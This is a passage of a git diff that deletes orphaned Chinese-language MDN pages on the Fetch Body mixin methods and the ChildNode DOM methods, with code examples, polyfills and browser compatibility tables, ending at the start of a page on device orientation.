Basic support{{ CompatChrome(42) }} [1]
-  
{{CompatVersionUnknown}}{{ CompatGeckoDesktop(39)}} [2]{{ CompatNo }} -

29 [3]

-
{{ CompatNo }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo }}{{CompatVersionUnknown}}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
-
- -

[1] Behind a preference in version 41.

- -

[2] Behind a preference starting with version 34.

- -

[3] Behind a preference in version 28.

- -

另见

- - diff --git a/files/zh-cn/orphaned/web/api/body/body/index.html b/files/zh-cn/orphaned/web/api/body/body/index.html deleted file mode 100644 index abf63535fc..0000000000 --- a/files/zh-cn/orphaned/web/api/body/body/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Body.body -slug: orphaned/Web/API/Body/body -translation_of: Web/API/Body/body -original_slug: Web/API/Body/body ---- -
{{APIRef("Fetch")}}
- -

{{domxref("Body")}} mixin的只读getter属性 body 用于暴露其body内容的{{domxref("ReadableStream")}}(流读取)。

- -

语法

- -
var stream = responseInstance.body;
- -

Value

- -

一个 {{domxref("ReadableStream")}}.

- -

例程

- -

在我们的 simple stream pump 例程中我们fetch一个图片地址,使用response.body暴露响应的流,用{{domxref("body.getReader()", "ReadableStream.getReader()")}}创建一个读取器,然后将其置入第二个自定义读取流中——有效的创建了一个完全相同的图片副本。

- -
const image = document.getElementById('target');
-
-// 请求原始图片
-fetch('./tortoise.png')
-// 取出body
-.then(response => response.body)
-.then(body => {
-  const reader = body.getReader();
-
-  return new ReadableStream({
-    start(controller) {
-      return pump();
-
-      function pump() {
-        return reader.read().then(({ done, value }) => {
-          // 读不到更多数据就关闭流
-          if (done) {
-            controller.close();
-            return;
-          }
-
-          // 将下一个数据块置入流中
-          controller.enqueue(value);
-          return pump();
-        });
-      }
-    }
-  })
-})
-.then(stream => new Response(stream))
-.then(response => response.blob())
-.then(blob => URL.createObjectURL(blob))
-.then(url => console.log(image.src = url))
-.catch(err => console.error(err));
- -

规范

- - - - - - - - - - - - - - -
规范状态备注
{{SpecName('Fetch','#dom-body-body','body')}}{{Spec2('Fetch')}} 
- -

浏览器兼容性

- -
{{Compat("api.Body.body")}}
- -

 

- -

相关链接

- - diff --git a/files/zh-cn/orphaned/web/api/body/bodyused/index.html b/files/zh-cn/orphaned/web/api/body/bodyused/index.html deleted file mode 100644 index a875ab79d1..0000000000 --- a/files/zh-cn/orphaned/web/api/body/bodyused/index.html +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: Body.bodyUsed -slug: orphaned/Web/API/Body/bodyUsed -translation_of: Web/API/Body/bodyUsed -original_slug: Web/API/Body/bodyUsed ---- -

{{APIRef("Fetch")}}{{ SeeCompatTable }}

- -

bodyUsed 是{{domxref("Body")}} mixin中的一个只读属性。用以表示该body是否被使用过。

- -

语法

- -
var myBodyUsed = response.bodyUsed;
- -

可能的值

- -

{{domxref("Boolean")}}.

- -

示例

- -

在以下fetch 请求示例(运行 fetch request live)。通过{{domxref("Request.Request")}}构造器创建了一个fetch请求,来获得一张JPG图片。当fetch成功后,通过{{domxref("Blob")}} 来使用了fetch返回的资源--{{domxref("URL.createObjectURL")}}创建该资源的URL,并作为 {{htmlelement("img")}}元素的src源来显示图片。

- -

注意:在response.blob()被调用前后,输出response.bodyUsed的差异。

- -

HTML Content

- -
<img class="my-image" src="https://wikipedia.org/static/images/project-logos/frwiki-1.5x.png">
-
- -

JS Content

- -
var myImage = document.querySelector('.my-image');
-fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/Delete_key1.jpg').then(function(response) {
-    console.log(response.bodyUsed);
-    var res = response.blob();
-    console.log(response.bodyUsed);
-    return res;
-}).then(function(response) {
-    var objectURL = URL.createObjectURL(response);
-    myImage.src = objectURL;
-});
- -

{{ EmbedLiveSample('Example', '100%', '250px') }}

- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Fetch','#dom-body-bodyused','bodyUsed')}}{{Spec2('Fetch')}} 
- -

浏览器兼容性

- -

{{ CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatChrome(42) }} [1]
-  
{{CompatVersionUnknown}}{{ CompatGeckoDesktop(39)}} [2]{{ CompatNo }} -

29 [3]

-
{{ CompatNo }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo }}{{CompatVersionUnknown}}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
-
- -

[1] Behind a preference in version 41.

- -

[2] Behind a preference starting with version 34.

- -

[3] Behind a preference in version 28.

- -

See also

- - diff --git a/files/zh-cn/orphaned/web/api/body/formdata/index.html b/files/zh-cn/orphaned/web/api/body/formdata/index.html deleted file mode 100644 index 2e415887cd..0000000000 --- a/files/zh-cn/orphaned/web/api/body/formdata/index.html +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: Body.formData() -slug: orphaned/Web/API/Body/formData -translation_of: Web/API/Body/formData -original_slug: Web/API/Body/formData ---- -
{{APIRef("Fetch")}}
- -

 {{domxref("Body")}} 对象中的formData() 方法将 {{domxref("Response")}} 对象中的所承载的数据流读取并封装成为一个对象,该方法将返回一个 Promise  对象,该对象将产生一个{{domxref("FormData")}} 对象。

- -
-

注意: 该方法主要与 service workers 有关. 如果客户端提交的一个表单请求被Service Worker 所截取,您可以像下述的样例一样,调用 formData() 方法来获取一个key-value 字典, 对该字典可以进行修饰, 然后将修饰后的表填提交给远端服务器 (或在本地应用)。

-
- -

语法

- -
response.formData()
-.then(function(formdata) {
-  // do something with your formdata
-});
- -

参数

- -

无。

- -

返回值

- -

生成 {{domxref("FormData")}}对象的{{domxref("Promise")}} 对象.

- -

样例

- -

待定.

- -

详述

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Fetch','#dom-body-formdata','formData()')}}{{Spec2('Fetch')}} 
- -

Browser compatibility

- -

{{ CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support -

{{CompatChrome(60)}}

-
{{ CompatGeckoDesktop(39)}} [1]{{ CompatNo }} -

{{CompatOpera(47)}}

-
{{ CompatNo }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support -

{{CompatChrome(60)}}

-
-

{{CompatChrome(60)}}

-
{{ CompatNo }}{{ CompatNo }}{{ CompatNo }} -

{{CompatOperaMobile(47)}}

-
{{ CompatNo }}
-
- -

[1] Behind a preference starting with version 34.

- -

See also

- - diff --git a/files/zh-cn/orphaned/web/api/body/index.html b/files/zh-cn/orphaned/web/api/body/index.html deleted file mode 100644 index 0b12fa7259..0000000000 --- a/files/zh-cn/orphaned/web/api/body/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Body -slug: orphaned/Web/API/Body -tags: - - API - - BODY - - Fetch - - bolb() - - json() - - request -translation_of: Web/API/Body -original_slug: Web/API/Body ---- -

{{ APIRef("Fetch") }}

- -

Fetch API 中的 Body {{glossary("mixin")}} 代表响应/请求的正文,允许你声明其内容类型是什么以及应该如何处理。

- -

Body被{{domxref("Request")}} 和{{domxref("Response")}}实现,并为这些对象提供了一个相关联的主体(字节流),一个已使用的标志(最初未设置)和一个MIME类型(最初为空字节序列)。

- -

属性

- -
-
{{domxref("Body.body")}} {{readonlyInline}}
-
一个简单的getter用于暴露一个{{domxref("ReadableStream")}}类型的主体内容。
-
{{domxref("Body.bodyUsed")}} {{readonlyInline}}
-
一个{{domxref("Boolean")}} 值指示是否body已经被标记读取。
-
- -

方法

- -
-
{{domxref("Body.arrayBuffer()")}}
-
使{{domxref("Response")}}挂起一个流操作并且在完成时读取其值,它返回一个{{domxref("Promise")}}对象,其resolve参数类型是{{domxref("ArrayBuffer")}}。此操作会将bodyUsed状态改为已使用(true)。
-
{{domxref("Body.blob()")}}
-
使{{domxref("Response")}}挂起一个流操作并且在完成时读取其值,它返回一个{{domxref("Promise")}}对象,其resolve参数类型是{{domxref("Blob")}}。此操作会将bodyUsed状态改为已使用(true)。
-
{{domxref("Body.formData()")}}
-
使{{domxref("Response")}}挂起一个流操作并且在完成时读取其值,它返回一个{{domxref("Promise")}}对象,其resolve参数类型是{{domxref("FormData")}}表单。此操作会将bodyUsed状态改为已使用(true)。
-
{{domxref("Body.json()")}}
-
使{{domxref("Response")}}挂起一个流操作并且在完成时读取其值,它返回一个{{domxref("Promise")}}对象,其resolve参数类型是使用{{jsxref("JSON")}}解析body文本的结果。此操作会将bodyUsed状态改为已使用(true)。
-
{{domxref("Body.text()")}}
-
使{{domxref("Response")}}挂起一个流操作并且在完成时读取其值,它返回一个{{domxref("Promise")}}对象,其resolve参数类型是{{domxref("USVString")}}(文本)。此操作会将bodyUsed状态改为已使用(true)。
-
- -

范例

- -

基本 fetch 使用实例 (查看运行效果) 中,我们使用简单的 fetch 请求获取一张图片并将其使用 {{htmlelement("img")}} 标签展示。你可能注意到当我们请求一张图片,需要使用 {{domxref("Body.blob")}} ({{domxref("Response")}} 实现 body 接口以发送正确的MIME类型给服务器进行识别。

- -

HTML 内容

- -
<img class="my-image" src="https://wikipedia.org/static/images/project-logos/frwiki-1.5x.png">
-
- -

JS 内容

- -
var myImage = document.querySelector('.my-image');
-fetch('flowers.jpg').then(function(response) {
-  return response.blob();
-}).then(function(response) {
-  var objectURL = URL.createObjectURL(response);
-  myImage.src = objectURL;
-});
- -

你也可以使用 Response.Response() 构造函数创建自定义的 Response 对象。

- -
const response = new Response();
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Fetch','#body-mixin','Body')}}{{Spec2('Fetch')}} 
- -

浏览器兼容情况

- -

{{Compat("api.Body")}}

- -

也可以看看

- - - -

 

diff --git a/files/zh-cn/orphaned/web/api/body/json/index.html b/files/zh-cn/orphaned/web/api/body/json/index.html deleted file mode 100644 index 54bd1c5c3e..0000000000 --- a/files/zh-cn/orphaned/web/api/body/json/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Body.json() -slug: orphaned/Web/API/Body/json -tags: - - API - - BODY - - Fetch - - JSON - - 参考 - - 方法 -translation_of: Web/API/Body/json -original_slug: Web/API/Body/json ---- -
{{APIRef("Fetch")}}
- -
{{domxref("Body")}}  mixin 的 json() 方法接收一个 {{domxref("Response")}} 流,并将其读取完成。它返回一个 Promise,Promise 的解析 resolve 结果是将文本体解析为 {{jsxref("JSON")}}。
- -

语法

- -
response.json().then(data => {
-  // do something with your data
-});
- -

参数

- -

没有。

- -

返回值

- -

返回一个被解析为JSON格式的promise对象,这可以是任何可以由JSON表示的东西 - 一个object,一个array,一个string,一个number...

- -

示例

- -

在我们的  fetch json 示例 中(运行 fetch json live), 我们使用 {{domxref("Request.Request")}} 构造函数创建一个新的请求, 然后使用它来获取一个 .json 文件。当获取成功时,我们使用 json() 读取并解析数据,然后像预期的那样从结果对象中读取值,并将其插入到列表项中以显示我们的产品数据。

- -
const myList = document.querySelector('ul');
-const myRequest = new Request('products.json');
-
-fetch(myRequest)
-  .then(response => response.json())
-  .then(data => {
-    for (const product of data.products) {
-      let listItem = document.createElement('li');
-      listItem.appendChild(
-        document.createElement('strong')
-      ).textContent = product.Name;
-      listItem.append(
-        ` can be found in ${
-          product.Location
-        }. Cost: `
-      );
-      listItem.appendChild(
-        document.createElement('strong')
-      ).textContent = `£${product.Price}`;
-      myList.appendChild(listItem);
-    }
-  });
- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("Fetch", "#dom-body-json", "Body.json()")}}{{Spec2("Fetch")}}Initial definition
- - -

浏览器兼容性

- - - -

{{Compat("api.Body.json")}}

- -

相关链接

- - diff --git a/files/zh-cn/orphaned/web/api/body/text/index.html b/files/zh-cn/orphaned/web/api/body/text/index.html deleted file mode 100644 index 320d294861..0000000000 --- a/files/zh-cn/orphaned/web/api/body/text/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Body.text() -slug: orphaned/Web/API/Body/text -tags: - - API - - Fetch - - 参考 - - 方法 -translation_of: Web/API/Body/text -original_slug: Web/API/Body/text ---- -
{{APIRef("Fetch")}}
- -

{{domxref("Body")}} mixin 的 text() 方法提供了一个可供读取的“返回流”({{domxref("Response")}} stream),并将它读取完。它返回一个包含 {{domxref("USVString")}} 对象(也就是文本)的 Promise 对象,返回结果的编码永远是 UTF-8。

- -

语法

- -
response.text().then(function (text) {
-  // do something with the text response
-});
- -

参数

- -

无。

- -

返回值

- -

A promise that resolves with a {{domxref("USVString")}}.

- -

示例

- -

在我们 fetch text example (运行 fetch text live)的案例中, 我们有一个 {{htmlelement("article")}} 元素和三个链接(储存在 myLinks 数组中),首先,遍历 myLinks 数组,并且给数组中的所有元素添加 onclick 事件监听器,当按钮被点击的时候,链接的 data-page 标识作为会参数传入 getData() 中。

- -

当进入 getData() 函数, 我们使用 {{domxref("Request.Request","Request()")}} 构造函数创建了一个请求(Request)对象,然后,使用它获取指定的.txt的文件, 当fetch 函数执行成功, 我们使用 text() 函数来返回一个{{jsxref("USVString")}} (text) 对象,将它设置到 {{htmlelement("article")}} 对象的{{domxref("Element.innerHTML","innerHTML")}} (元素文本)中。

- -
const myArticle = document.querySelector('article');
-const myLinks   = document.querySelectorAll('ul a');
-
-for(i = 0; i <= myLinks.length-1; i++) {
-  myLinks[i].onclick = function(e) {
-    e.preventDefault();
-    var linkData = e.target.getAttribute('data-page');
-    getData(linkData);
-  }
-};
-
-function getData(pageId) {
-  console.log(pageId);
-  const myRequest = new Request(pageId + '.txt');
-  fetch(myRequest).then(function(response) {
-    return response.text().then(function(text) {
-      myArticle.innerHTML = text;
-    });
-  });
-}
- -

规范

- - - - - - - - - - - - - - -
规范状态备注
{{SpecName('Fetch','#dom-body-text','text()')}}{{Spec2('Fetch')}}
- -

浏览器兼容性

- - - -

{{Compat("api.Body.text")}}

- -

See also

- - diff --git a/files/zh-cn/orphaned/web/api/childnode/after/index.html b/files/zh-cn/orphaned/web/api/childnode/after/index.html deleted file mode 100644 index 76792e7638..0000000000 --- a/files/zh-cn/orphaned/web/api/childnode/after/index.html +++ /dev/null @@ -1,176 +0,0 @@ ---- -title: ChildNode.after() -slug: orphaned/Web/API/ChildNode/after -translation_of: Web/API/ChildNode/after -original_slug: Web/API/ChildNode/after ---- -
{{APIRef("DOM")}}
- -

ChildNode.after() 方法会在其父节点的子节点列表中插入一些 {{domxref("Node")}} 或 {{domxref("DOMString")}} 对象。插入位置为该节点之后。{{domxref("DOMString")}} 对象会被以 {{domxref("Text")}} 的形式插入。

- -

语法

- -
[Throws, Unscopable]
-void ChildNode.after((Node or DOMString)... nodes);
-
- -

参数

- -
-
nodes
-
一组准备插入的 {{domxref("Node")}} 或 {{domxref("DOMString")}} 。
-
- -

错误

- - - -

示例

- -

插入元素

- -
var parent = document.createElement("div");
-var child = document.createElement("p");
-parent.appendChild(child);
-var span = document.createElement("span");
-
-child.after(span);
-
-console.log(parent.outerHTML);
-// "<div><p></p><span></span></div>"
-
- -

插入文本

- -
var parent = document.createElement("div");
-var child = document.createElement("p");
-parent.appendChild(child);
-
-child.after("Text");
-
-console.log(parent.outerHTML);
-// "<div><p></p>Text</div>"
- -

同时插入元素和文本

- -
var parent = document.createElement("div");
-var child = document.createElement("p");
-parent.appendChild(child);
-var span = document.createElement("span");
-
-child.after(span, "Text");
-
-console.log(parent.outerHTML);
-// "<div><p></p><span></span>Text</div>"
- -

ChildNode.after() 会被 with 环境排除

- -

after() 方法不在 with 环境的范围内,可以查看 {{jsxref("Symbol.unscopables")}} 来了解更多信息。

- -
with(node) {
-  after("foo");
-}
-// ReferenceError: after is not defined 
- -

Polyfill

- -

You can polyfill the after() method in Internet Explorer 9 and higher with the following code:

- -
// from: https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/after()/after().md
-(function (arr) {
-  arr.forEach(function (item) {
-    if (item.hasOwnProperty('after')) {
-      return;
-    }
-    Object.defineProperty(item, 'after', {
-      configurable: true,
-      enumerable: true,
-      writable: true,
-      value: function after() {
-        var argArr = Array.prototype.slice.call(arguments),
-          docFrag = document.createDocumentFragment();
-
-        argArr.forEach(function (argItem) {
-          var isNode = argItem instanceof Node;
-          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
-        });
-
-        this.parentNode.insertBefore(docFrag, this.nextSibling);
-      }
-    });
-  });
-})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);
- -

Another polyfill

- -
// from: https://github.com/FabioVergani/js-Polyfill_Element.prototype.after/blob/master/after.js
-
-(function(x){
- var o=x.prototype,p='after';
- if(!o[p]){
-    o[p]=function(){
-     var e, m=arguments, l=m.length, i=0, t=this, p=t.parentNode, n=Node, s=String, d=document;
-     if(p!==null){
-        while(i<l){
-         e=m[i];
-         if(e instanceof n){
-            t=t.nextSibling;
-            if(t!==null){
-                p.insertBefore(e,t);
-            }else{
-                p.appendChild(e);
-            };
-         }else{
-            p.appendChild(d.createTextNode(s(e)));
-         };
-         ++i;
-        };
-     };
-    };
- };
-})(Element);
-
-
-
-/*
-minified:
-
-(function(x){
- var o=x.prototype;
- o.after||(o.after=function(){var e,m=arguments,l=m.length,i=0,t=this,p=t.parentNode,n=Node,s=String,d=document;if(p!==null){while(i<l){((e=m[i]) instanceof n)?(((t=t.nextSibling )!==null)?p.insertBefore(e,t):p.appendChild(e)):p.appendChild(d.createTextNode(s(e)));++i;}}});
-}(Element));
-*/
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-childnode-after', 'ChildNode.after()')}}{{Spec2('DOM WHATWG')}}Initial definition.
- -

浏览器兼容性

- -

{{Compat("api.ChildNode.after")}}

- -

相关链接

- - diff --git a/files/zh-cn/orphaned/web/api/childnode/before/index.html b/files/zh-cn/orphaned/web/api/childnode/before/index.html deleted file mode 100644 index add3dab015..0000000000 --- a/files/zh-cn/orphaned/web/api/childnode/before/index.html +++ /dev/null @@ -1,188 +0,0 @@ ---- -title: ChildNode.before() -slug: orphaned/Web/API/ChildNode/before -tags: - - api、dom、节点、方法 -translation_of: Web/API/ChildNode/before -original_slug: Web/API/ChildNode/before ---- -
{{APIRef("DOM")}} {{SeeCompatTable}}
- -

 ChildNode.before 方法可以在ChildNode这个节点的父节点中插入一些列的 {{domxref("Node")}} 或者 {{domxref("DOMString")}} 对象,位置就是在ChildNode节点的前面,{{domxref("DOMString")}} 对象其实和 {{domxref("Text")}}节点一样的方式来完成插入的。

- -

语法

- -
[Throws, Unscopable]
-void ChildNode.before((Node or DOMString)... nodes);
-
- -

Parameters参数

- -
-
nodes
-
一系列的 {{domxref("Node")}} 或者 {{domxref("DOMString")}} 
-
- -

Exceptions

- - - -

Examples事例

- -

Inserting an element插入元素节点

- -
var parent = document.createElement("div");
-var child = document.createElement("p");
-parent.appendChild(child);
-var span = document.createElement("span");
-
-child.before(span);
-
-console.log(parent.outerHTML);
-// "<div><span></span><p></p></div>"
-
- -

Inserting text插入文本节点

- -
var parent = document.createElement("div");
-var child = document.createElement("p");
-parent.appendChild(child);
-
-child.before("Text");
-
-console.log(parent.outerHTML);
-// "<div>Text<p></p></div>"
- -

Inserting an element and text同时插入文本和元素

- -
var parent = document.createElement("div");
-var child = document.createElement("p");
-parent.appendChild(child);
-var span = document.createElement("span");
-
-child.before(span, "Text");
-
-console.log(parent.outerHTML);
-// "<div><span></span>Text<p></p></div>"
- -

ChildNode.before() is unscopable不可使用区域

- -

The before() 不能配合with声明使用,See {{jsxref("Symbol.unscopables")}} for more information.

- -
with(node) {
-  before("foo");
-}
-// ReferenceError: before is not defined 
- -

Polyfill

- -

兼容ie9或者更高版本的方法,You can polyfill the before() method in Internet Explorer 9 and higher with the following code:

- -
// from: https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/before()/before().md
-(function (arr) {
-  arr.forEach(function (item) {
-    if (item.hasOwnProperty('before')) {
-      return;
-    }
-    Object.defineProperty(item, 'before', {
-      configurable: true,
-      enumerable: true,
-      writable: true,
-      value: function before() {
-        var argArr = Array.prototype.slice.call(arguments),
-          docFrag = document.createDocumentFragment();
-
-        argArr.forEach(function (argItem) {
-          var isNode = argItem instanceof Node;
-          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
-        });
-
-        this.parentNode.insertBefore(docFrag, this);
-      }
-    });
-  });
-})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);
- -

Specification

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-childnode-before', 'ChildNode.before()')}}{{Spec2('DOM WHATWG')}}Initial definition.
- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(54.0)}}{{CompatGeckoDesktop(49)}}{{CompatUnknown}}{{CompatOpera(39)}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(54.0)}}{{CompatGeckoMobile(49)}}{{CompatUnknown}}{{CompatOpera(39)}}{{CompatUnknown}}{{CompatChrome(54.0)}}
-
- -

See also

- - diff --git a/files/zh-cn/orphaned/web/api/childnode/index.html b/files/zh-cn/orphaned/web/api/childnode/index.html deleted file mode 100644 index f223684bb2..0000000000 --- a/files/zh-cn/orphaned/web/api/childnode/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: ChildNode -slug: orphaned/Web/API/ChildNode -tags: - - API - - ChildNode - - DOM - - Node - - 接口 -translation_of: Web/API/ChildNode -original_slug: Web/API/ChildNode ---- -

{{APIRef("DOM")}}

- -

ChildNode 混合了所有(拥有父对象) {{domxref("Node")}} 对象包含的公共方法和属性。其由 {{domxref("Element")}}、{{domxref("DocumentType")}} 和 {{domxref("CharacterData")}} 对象实现。

- -

属性

- -

没有继承任何属性,也没有任何专有属性。

- -

方法

- -

没有继承的方法。

- -
-
{{domxref("ChildNode.remove()")}} {{experimental_inline}}
-
ChildNode 从其父节点的子节点列表中移除。
-
{{domxref("ChildNode.before()")}} {{experimental_inline}}
-
在其父节点的子节点列表中插入一些 {{domxref("Node")}} 或 {{domxref("DOMString")}} 对象。插入位置为 ChildNode 之前。{{domxref("DOMString")}} 对象会被以 {{domxref("Text")}} 的形式插入。
-
{{domxref("ChildNode.after()")}} {{experimental_inline}}
-
在其父节点的子节点列表中插入一些{{domxref("Node")}} 或 {{domxref("DOMString")}} 对象。插入位置为 ChildNode 之后。{{domxref("DOMString")}} 对象会被以 {{domxref("Text")}} 的形式插入。
-
{{domxref("ChildNode.replaceWith()")}} {{experimental_inline}}
-
使用一组 {{domxref("Node")}} 或 {{domxref("DOMString")}} 对象替换 ChildNode。{{domxref("DOMString")}} 对象会以 {{domxref("Text")}} 的形式插入。
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
规范状态说明
{{SpecName('DOM WHATWG', '#interface-childnode', 'ChildNode')}}{{Spec2('DOM WHATWG')}}Splitted the ElementTraversal interface in {{domxref("ParentNode")}} and ChildNode. The previousElementSibling and nextElementSibling are now defined on the latter. The {{domxref("CharacterData")}} and {{domxref("DocumentType")}} implemented the new interfaces. 新增 remove(), before(), after() and replace() 这四个方法。
{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}{{Spec2('Element Traversal')}}Added the initial definition of its properties to the ElementTraversal pure interface and use it on {{domxref("Element")}}.
- -

Polyfill

- -

GitHub 上的外部资源:childNode.js

- -

浏览器兼容性

- - - -

{{Compat("api.ChildNode")}}

- -

参见

- - diff --git a/files/zh-cn/orphaned/web/api/childnode/remove/index.html b/files/zh-cn/orphaned/web/api/childnode/remove/index.html deleted file mode 100644 index b60cab7a0c..0000000000 --- a/files/zh-cn/orphaned/web/api/childnode/remove/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: ChildNode.remove() -slug: orphaned/Web/API/ChildNode/remove -tags: - - API - - ChildNode - - DOM - - Method -translation_of: Web/API/ChildNode/remove -original_slug: Web/API/ChildNode/remove ---- -

{{APIRef("DOM")}}

- -

ChildNode.remove() 方法,把对象从它所属的 DOM 树中删除。

- -

语法

- -
node.remove();
- -

示例

- -

使用 remove()

- -
<div id="div-01">Here is div-01</div>
-<div id="div-02">Here is div-02</div>
-<div id="div-03">Here is div-03</div>
-
- -
var el = document.getElementById('div-02');
-el.remove();
-// id 为 'div-02' 的 div 被删掉了
-
- -

{{EmbedLiveSample('使用_remove()')}}

- -

ChildNode.remove() 是不可见的

- -

with 语句中,remove() 方法是不可见的。参阅 {{jsxref("Symbol.unscopables")}} 了解更多信息。

- -
with(node) {
-  remove();
-}
-// ReferenceError: remove is not defined
- -

Polyfill

- -

You can polyfill the remove() method in Internet Explorer 9 and higher with the following code:

- -
//https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/remove()/remove().md
-(function (arr) {
-   arr.forEach(function (item) {
-    if (item.hasOwnProperty('remove')) {
-      return;
-    }
-    Object.defineProperty(item, 'remove', {
-      configurable: true,
-      enumerable: true,
-      writable: true,
-      value: function remove() {
-        this.parentNode.removeChild(this);
-      }
-    });
-  });
-})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);
- -

规范

- - - - - - - - - - - - - - -
规范状态注释
{{SpecName('DOM WHATWG', '#dom-childnode-remove', 'ChildNode.remove')}}{{Spec2('DOM WHATWG')}}Initial definition.
- -

浏览器兼容性

- - - -

{{Compat("api.ChildNode.remove")}}

- -

参见

- - diff --git a/files/zh-cn/orphaned/web/api/childnode/replacewith/index.html b/files/zh-cn/orphaned/web/api/childnode/replacewith/index.html deleted file mode 100644 index 9f3ef5bd88..0000000000 --- a/files/zh-cn/orphaned/web/api/childnode/replacewith/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: ChildNode.replaceWith() -slug: orphaned/Web/API/ChildNode/replaceWith -tags: - - DOM - - Node -translation_of: Web/API/ChildNode/replaceWith -original_slug: Web/API/ChildNode/replaceWith ---- -
{{APIRef("DOM")}} {{SeeCompatTable}}
- -

ChildNode.replaceWith() 的方法用一套 {{domxref("Node")}} 对象或者 {{domxref("DOMString")}} 对象,替换了该节点父节点下的子节点 。{{domxref("DOMString")}} 对象被当做等效的{{domxref("Text")}} 节点插入。

- -

语法

- -
[Throws, Unscopable]
-void ChildNode.replaceWith((Node or DOMString)... nodes);
-
- -

参数

- -
-
节点
-
一系列用来替换的{{domxref("Node")}} 对象或者 {{domxref("DOMString")}} 对象。
-
- -

例外

- - - -

案例

- -

Using replaceWith()

- -
var parent = document.createElement("div");
-var child = document.createElement("p");
-parent.appendChild(child);
-var span = document.createElement("span");
-
-child.replaceWith(span);
-
-console.log(parent.outerHTML);
-// "<div><span></span></div>"
-
- -

ChildNode.replaceWith() is unscopable

- -

replaceWith()的方法并没有作用于with语句. 参考 {{jsxref("Symbol.unscopables")}} 获取更多信息.

- -
with(node) {
-  replaceWith("foo");
-}
-// ReferenceError: replaceWith is not defined 
- -

Polyfill

- -

你可以在IE9及更高级的浏览器中使用下面的代码向上兼容replaceWith()的方法:

- -
(function (arr) {
-  arr.forEach(function (item) {
-    if (item.hasOwnProperty('replaceWith')) {
-      return;
-    }
-    Object.defineProperty(item, 'replaceWith', {
-      configurable: true,
-      enumerable: true,
-      writable: true,
-      value: function replaceWith() {
-        var argArr = Array.prototype.slice.call(arguments),
-          docFrag = document.createDocumentFragment();
-
-        argArr.forEach(function (argItem) {
-          var isNode = argItem instanceof Node;
-          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
-        });
-
-        this.parentNode.replaceChild(docFrag, this);
-      }
-    });
-  });
-})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);
- -

规范

- - - - - - - - - - - - - - -
规范状态注释
{{SpecName('DOM WHATWG', '#dom-childnode-replacewith', 'ChildNode.replacewith()')}}{{Spec2('DOM WHATWG')}}Initial definition.
- -

浏览器兼容性

- -

{{Compat("api.ChildNode.replaceWith")}}

- -

参阅

- - diff --git a/files/zh-cn/orphaned/web/api/detecting_device_orientation/index.html b/files/zh-cn/orphaned/web/api/detecting_device_orientation/index.html deleted file mode 100644 index ac781aa185..0000000000 --- a/files/zh-cn/orphaned/web/api/detecting_device_orientation/index.html +++ /dev/null @@ -1,319 +0,0 @@ ---- -title: 检测设备方向 -slug: orphaned/Web/API/Detecting_device_orientation -tags: - - Detecting - - Detecting device orientation - - Device Orientation - - Motion - - 参考 - - 方向 - - 移动设备 - - 设备方向 -translation_of: Web/API/Detecting_device_orientation -original_slug: Web/API/Detecting_device_orientation ---- -

{{SeeCompatTable}}

- -

有越来越多的基于web的设备能够确定它们的方向; 也就是说,它们可以报告数据以指示基于重力方向的方向改变。特别地,手持设备如手机可以利用这些信息以自动旋转屏幕,保持内容直立,当设备旋转至横屏时(宽度大于高度),提供网页内容的横屏视图。

- -

